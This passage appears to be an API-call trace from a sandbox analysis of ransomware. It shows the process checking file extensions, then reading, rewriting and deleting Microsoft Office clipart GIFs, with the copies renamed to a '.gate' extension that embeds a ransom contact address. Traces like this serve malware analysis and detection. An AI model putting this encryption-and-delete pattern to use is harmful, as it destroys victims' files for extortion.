returned 68 [0279.287] lstrlenW (lpString=".zip") returned 4 [0279.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.287] lstrlenW (lpString=".rar") returned 4 [0279.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.287] lstrlenW (lpString=".bz2") returned 4 [0279.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.287] lstrlenW (lpString=".7z") returned 3 [0279.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.287] lstrlenW (lpString=".dbf") returned 4 [0279.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.287] lstrlenW (lpString=".1cd") returned 4 [0279.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0279.287] lstrlenW (lpString=".jpg") returned 4 [0279.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.287] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.287] lstrlenW (lpString="AG00158_.GIF") returned 12 [0279.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.288] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5030) returned 1 [0279.288] CloseHandle (hObject=0x42c) returned 1 [0279.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0279.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.288] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.289] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0279.658] GetLastError () returned 0x0 [0279.658] ReadFile (in: hFile=0x42c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x13a6, lpOverlapped=0x0) returned 1 [0279.688] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x13b0, lpOverlapped=0x0) returned 1 [0279.689] ReadFile (in: hFile=0x42c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.689] WriteFile (in: hFile=0x468, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.689] SetEndOfFile (hFile=0x468) returned 1 [0279.690] CloseHandle (hObject=0x468) returned 1 [0279.690] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.690] SetEndOfFile (hFile=0x42c) returned 1 [0279.694] CloseHandle (hObject=0x42c) returned 1 [0279.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0279.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.695] lstrlenW (lpString=".doc") returned 4 [0279.695] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.695] lstrlenW (lpString=".docx") returned 5 [0279.695] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.695] lstrlenW (lpString=".pdf") returned 4 [0279.696] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.696] lstrlenW (lpString=".xls") returned 4 [0279.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.696] lstrlenW (lpString=".xlsx") returned 5 [0279.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.696] lstrlenW (lpString=".ppt") returned 4 [0279.696] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.696] lstrlenW (lpString=".zip") returned 4 [0279.696] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.696] lstrlenW (lpString=".rar") returned 4 [0279.696] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.696] lstrlenW (lpString=".bz2") returned 4 [0279.696] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.696] lstrlenW (lpString=".7z") returned 3 [0279.696] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.696] lstrlenW (lpString=".dbf") returned 4 [0279.696] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString=".1cd") returned 4 [0279.697] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString=".jpg") returned 4 [0279.697] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString=".doc") returned 4 [0279.697] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.697] lstrlenW (lpString=".docx") returned 5 [0279.697] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.697] lstrlenW (lpString=".pdf") returned 4 [0279.697] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString=".xls") returned 4 [0279.697] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString=".xlsx") returned 5 [0279.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.697] lstrlenW (lpString=".ppt") returned 4 [0279.697] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString=".zip") returned 4 [0279.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString=".rar") returned 4 [0279.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.697] lstrlenW (lpString=".bz2") returned 4 [0279.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.697] lstrlenW (lpString=".7z") returned 3 [0279.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.697] lstrlenW (lpString=".dbf") returned 4 [0279.697] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.698] lstrlenW (lpString=".1cd") returned 4 [0279.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 68 [0279.698] lstrlenW (lpString=".jpg") returned 4 [0279.698] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.698] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.698] lstrlenW (lpString="AG00165_.GIF") returned 12 [0279.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.735] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=8582) returned 1 [0279.735] CloseHandle (hObject=0x390) returned 1 [0279.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0279.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.742] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.742] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0279.743] GetLastError () returned 0x0 [0279.743] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2186, lpOverlapped=0x0) returned 1 [0279.775] WriteFile (in: hFile=0x3f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2190, lpOverlapped=0x0) returned 1 [0279.776] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.776] WriteFile (in: hFile=0x3f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.776] SetEndOfFile (hFile=0x3f8) returned 1 [0279.776] CloseHandle (hObject=0x3f8) returned 1 [0279.777] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.777] SetEndOfFile (hFile=0x390) returned 1 [0279.812] CloseHandle (hObject=0x390) returned 1 [0279.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0279.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.813] lstrlenW (lpString=".doc") returned 4 [0279.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.813] lstrlenW (lpString=".docx") returned 5 [0279.813] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.813] lstrlenW (lpString=".pdf") returned 4 [0279.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.813] lstrlenW (lpString=".xls") returned 4 [0279.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString=".xlsx") returned 5 [0279.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.814] lstrlenW (lpString=".ppt") returned 4 [0279.814] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString=".zip") returned 4 [0279.814] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString=".rar") returned 4 [0279.814] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString=".bz2") returned 4 [0279.814] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.814] lstrlenW (lpString=".7z") returned 3 [0279.814] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString=".dbf") returned 4 [0279.814] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString=".1cd") returned 4 [0279.814] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString=".jpg") returned 4 [0279.814] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.814] lstrlenW (lpString=".doc") returned 4 [0279.814] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.814] lstrlenW (lpString=".docx") returned 5 [0279.814] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.814] lstrlenW (lpString=".pdf") returned 4 [0279.814] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString=".xls") returned 4 [0279.814] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.814] lstrlenW (lpString=".xlsx") returned 5 [0279.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.815] lstrlenW (lpString=".ppt") returned 4 [0279.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.815] lstrlenW (lpString=".zip") returned 4 [0279.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.815] lstrlenW (lpString=".rar") returned 4 [0279.815] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.815] lstrlenW (lpString=".bz2") returned 4 [0279.815] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.815] lstrlenW (lpString=".7z") returned 3 [0279.815] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.815] lstrlenW (lpString=".dbf") returned 4 [0279.815] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.815] lstrlenW (lpString=".1cd") returned 4 [0279.815] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0279.815] lstrlenW (lpString=".jpg") returned 4 [0279.815] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.815] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.815] lstrlenW (lpString="AG00170_.GIF") returned 12 [0279.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.816] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9248) returned 1 [0279.816] CloseHandle (hObject=0x390) returned 1 [0279.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0279.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.816] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.817] GetLastError () returned 0x0 [0279.817] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2420, lpOverlapped=0x0) returned 1 [0279.844] WriteFile (in: hFile=0x388, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2430, lpOverlapped=0x0) returned 1 [0279.845] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.845] WriteFile (in: hFile=0x388, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.845] SetEndOfFile (hFile=0x388) returned 1 [0279.845] CloseHandle (hObject=0x388) returned 1 [0279.846] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.846] SetEndOfFile (hFile=0x390) returned 1 [0279.848] CloseHandle (hObject=0x390) returned 1 [0279.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0279.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.849] lstrlenW (lpString=".doc") returned 4 [0279.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.849] lstrlenW (lpString=".docx") returned 5 [0279.849] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.849] lstrlenW (lpString=".pdf") returned 4 [0279.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.849] lstrlenW (lpString=".xls") returned 4 [0279.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.849] lstrlenW (lpString=".xlsx") returned 5 [0279.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.849] lstrlenW (lpString=".ppt") returned 4 [0279.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.849] lstrlenW (lpString=".zip") returned 4 [0279.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.849] lstrlenW (lpString=".rar") returned 4 [0279.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.849] lstrlenW (lpString=".bz2") returned 4 [0279.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.849] lstrlenW (lpString=".7z") returned 3 [0279.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.849] lstrlenW (lpString=".dbf") returned 4 [0279.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.849] lstrlenW (lpString=".1cd") returned 4 [0279.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".jpg") returned 4 [0279.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".doc") returned 4 [0279.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.850] lstrlenW (lpString=".docx") returned 5 [0279.850] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.850] lstrlenW (lpString=".pdf") returned 4 [0279.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString=".xls") returned 4 [0279.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString=".xlsx") returned 5 [0279.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.850] lstrlenW (lpString=".ppt") returned 4 [0279.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".zip") returned 4 [0279.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString=".rar") returned 4 [0279.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.850] lstrlenW (lpString=".bz2") returned 4 [0279.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.850] lstrlenW (lpString=".7z") returned 3 [0279.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft 